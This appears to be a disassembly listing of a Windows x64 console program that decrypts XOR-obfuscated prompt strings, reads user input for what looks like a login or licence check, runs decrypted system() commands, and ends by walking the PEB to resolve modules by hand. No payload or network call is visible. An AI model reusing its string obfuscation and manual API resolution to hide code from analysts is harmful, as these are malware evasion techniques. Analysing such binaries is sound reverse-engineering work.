xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14002c590
lea rdx, [rsp + 0x30]
mov rcx, r10
call fcn.140018150
lea rdx, [rbp + 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140017ef0
movsd xmm0, qword [0x140082700]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x140082708]
mov dword [rsp + 0x38], eax
movzx eax, word [0x14008270c]
mov word [rsp + 0x3c], ax
movzx eax, byte [0x14008270e]
mov byte [rsp + 0x3e], al
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov r8d, esi
cmp r14d, 2
jl 0x14002c6f3
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm11
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x140082700]
xorps xmm1, xmm0
movd dword [rsp + 0x30], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14002c700
lea rdx, [rsp + 0x30]
mov rcx, r10
call fcn.140018150
lea rdx, [rbp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140017ef0
movsd xmm0, qword [0x140082710]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x140082718]
mov dword [rsp + 0x38], eax
movzx eax, word [0x14008271c]
mov word [rsp + 0x3c], ax
cmp byte [0x14008271d], 0
je 0x14002c89f
mov r8d, esi
cmp r14d, 2
jl 0x14002c85e
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm11
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x140082710]
xorps xmm1, xmm0
movd dword [rsp + 0x30], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14002c870
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140018150
lea rdx, [rbp - 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140017ef0
lea rax, [rbp + 0x190]
mov qword [rbp - 0x40], rax
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x190]
call fcn.140009d70
mov rdi, rax
lea rax, [rbp + 0x1e0]
mov qword [rbp - 0x20], rax
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x1e0]
call fcn.140009d70
mov rbx, rax
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x200]
call fcn.140009d70
nop
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [0x14009fad0]
call fcn.1400054d0
jmp 0x14002ce44
movups xmm0, xmmword [0x140082680]
movups xmmword [rbp + 0x190], xmm0
movsd xmm0, qword [0x140082690]
movsd qword [rbp + 0x1a0], xmm0
movzx eax, word [0x140082698]
mov word [rbp + 0x1a8], ax
cmp byte [0x140082699], 0
je 0x14002caaf
mov r8d, esi
cmp r14d, 2
jl 0x14002ca6d
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x194]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002c980
cmp r8d, 0x1a
jge 0x14002caaf
movsxd rax, r8d
lea r9, [rbp + 0x190]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14002ca80
lea rcx, [rbp + 0x190]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400826a0]
movups xmmword [rbp + 0x190], xmm0
mov eax, dword [str.hsjK]
mov dword [rbp + 0x1a0], eax
cmp byte [0x1400826b3], 0
je 0x14002cc3f
mov r8d, esi
cmp r14d, 2
jl 0x14002cbfd
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x194]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14002cb10
cmp r8d, 0x14
jge 0x14002cc3f
movsxd rax, r8d
lea r9, [rbp + 0x190]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14002cc10
lea rdx, [rbp + 0x190]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140018150
lea rdx, [rbp + 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140017ef0
movups xmm0, xmmword [0x1400826b8]
movups xmmword [rbp + 0x190], xmm0
movzx eax, word [0x1400826c8]
mov word [rbp + 0x1a0], ax
movzx eax, byte [0x1400826ca]
mov byte [rbp + 0x1a2], al
mov r8d, esi
cmp r14d, 2
jl 0x14002cd9d
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x194]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14002ccb0
cmp r8d, 0x13
jge 0x14002cddf
movsxd rax, r8d
lea r9, [rbp + 0x190]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x14002cdb0
lea rdx, [rbp + 0x190]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140018150
lea rdx, [rbp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140017ef0
lea rax, [rbp + 0x190]
mov qword [rsp + 0x30], rax
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x190]
call fcn.140009d70
mov rbx, rax
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x1e0]
call fcn.140009d70
nop
mov r8, rbx
mov rdx, rax
lea rcx, [0x14009fad0]
call fcn.140004720
cmp byte [0x14009fd08], 0
jne 0x14002cea5
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x50]
call fcn.14001a420
movzx ecx, byte [rax + 2]
test cl, cl
je 0x14002ce77
xor byte [rax], 0x38
xor byte [rax + 1], 0x39
xor cl, 0x3a
mov byte [rax + 2], cl
mov rdx, rax
mov rcx, r8
call fcn.140018150
mov rcx, rax
lea rdx, [0x14009fd10]
call fcn.140018130
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movups xmm0, xmmword [str.UV]
movups xmmword [rbp + 0x190], xmm0
movsd xmm0, qword [0x1400827a0]
movsd qword [rbp + 0x1a0], xmm0
movzx eax, word [0x1400827a8]
mov word [rbp + 0x1a8], ax
cmp byte [0x1400827a9], 0
je 0x14002d02f
mov r8d, esi
cmp r14d, 2
jl 0x14002cfed
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x194]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002cf00
cmp r8d, 0x1a
jge 0x14002d02f
movsxd rax, r8d
lea r9, [rbp + 0x190]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14002d000
lea rcx, [rbp + 0x190]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movsd xmm0, qword [0x1400827b0]
movzx eax, byte [0x1400827b8]
movsd qword [rsp + 0x30], xmm0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rsp + 0x30], 0xa
xor byte [rsp + 0x31], 0x39
xor byte [rsp + 0x32], 0x3a
xor byte [rsp + 0x33], 0x3b
xor byte [rsp + 0x34], 0x3c
xor byte [rsp + 0x35], 0x3d
xor byte [rsp + 0x36], 0x3e
xor byte [rsp + 0x37], 0x3f
xor al, 0x40
mov byte [rsp + 0x38], al
lea rdx, [rsp + 0x30]
call fcn.140018150
lea rdx, [0x14009fc30]
cmp qword [0x14009fc48], 0xf
cmova rdx, qword [0x14009fc30]
mov r8, qword [0x14009fc40]
mov rcx, rax
call fcn.140018660
lea rdx, [0x14009fcb0]
lea rcx, [rbp + 0x190]
call fcn.140009d70
mov rcx, rax
call fcn.140029a40
mov qword [rbp - 0x20], rax
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x200]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp + 0x200]
movaps xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rbp + 0x210]
movaps xmmword [rbp - 0x80], xmm1
mov eax, dword [rbp + 0x220]
mov dword [rbp - 0x70], eax
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x1e0]
call fcn.140029b20
mov rbx, rax
movsd xmm0, qword [0x1400827c0]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x1400827c8]
mov dword [rsp + 0x38], eax
movzx eax, word [0x1400827cc]
mov word [rsp + 0x3c], ax
movzx eax, byte [0x1400827ce]
mov byte [rsp + 0x3e], al
mov r8d, esi
cmp r14d, 2
jl 0x14002d22a
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm11
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x1400827c0]
xorps xmm1, xmm0
movd dword [rsp + 0x30], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14002d240
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140018150
mov r8, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x14002d28e
mov rbx, qword [rbx]
mov rdx, rbx
mov rcx, rax
call fcn.140018660
nop
lea rcx, [rbp + 0x1e0]
call fcn.140009cd0
lea rdx, [0x14009fce8]
lea rcx, [rbp + 0x190]
call fcn.140009d70
mov rcx, rax
call fcn.140029a40
mov qword [rbp - 0x20], rax
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x200], xmm0
movups xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x210], xmm1
mov eax, dword [rbp - 0x70]
mov dword [rbp + 0x220], eax
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x1e0]
call fcn.140029b20
mov rbx, rax
movsd xmm0, qword [0x1400827d0]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x1400827d8]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x1400827dc]
mov byte [rsp + 0x3c], al
mov r8d, esi
cmp r14d, 2
jl 0x14002d40a
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm11
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x1400827d0]
xorps xmm1, xmm0
movd dword [rsp + 0x30], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm6, xmm0
andps xmm6, xmm9
packuswb xmm6, xmm6
packuswb xmm6, xmm6
movd xmm0, eax
paddb xmm6, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm6, xmm1
movd dword [rsp + 0x34], xmm6
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14002d420
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140018150
mov r8, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x14002d46e
mov rbx, qword [rbx]
mov rdx, rbx
mov rcx, rax
call fcn.140018660
nop
lea rcx, [rbp + 0x1e0]
call fcn.140009cd0
lea rcx, [0x14009fad0]
call fcn.140007560
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, word [0x1400827e0]
mov word [rbp - 0x20], ax
movzx eax, byte [0x1400827e2]
mov byte [rbp - 0x20], 0xa
xor byte [rbp - 0x1f], 0x39
xor al, 0x3a
mov byte [rbp - 0x1e], al
lea rdx, [rbp - 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140018150
movups xmm0, xmmword [0x1400827e8]
movups xmmword [rbp + 0x190], xmm0
movzx eax, word [0x1400827f8]
mov word [rbp + 0x1a0], ax
movzx eax, byte [0x1400827fa]
mov byte [rbp + 0x1a2], al
mov r8d, esi
cmp r14d, 2
jl 0x14002d60d
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x194]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14002d520
cmp r8d, 0x13
jge 0x14002d64f
movsxd rax, r8d
lea r9, [rbp + 0x190]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x14002d620
lea rdx, [rbp + 0x190]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140018150
movups xmm0, xmmword [0x140082800]
movups xmmword [rbp + 0x190], xmm0
movzx eax, byte [0x140082810]
mov byte [rbp + 0x1a0], al
mov r8d, esi
cmp r14d, 2
jl 0x14002d78d
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x194]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14002d6a0
cmp r8d, 0x11
jge 0x14002d7cf
movsxd rax, r8d
lea r9, [rbp + 0x190]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14002d7a0
lea rdx, [rbp + 0x190]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140018150
lea rdx, [rbp + 0x34]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
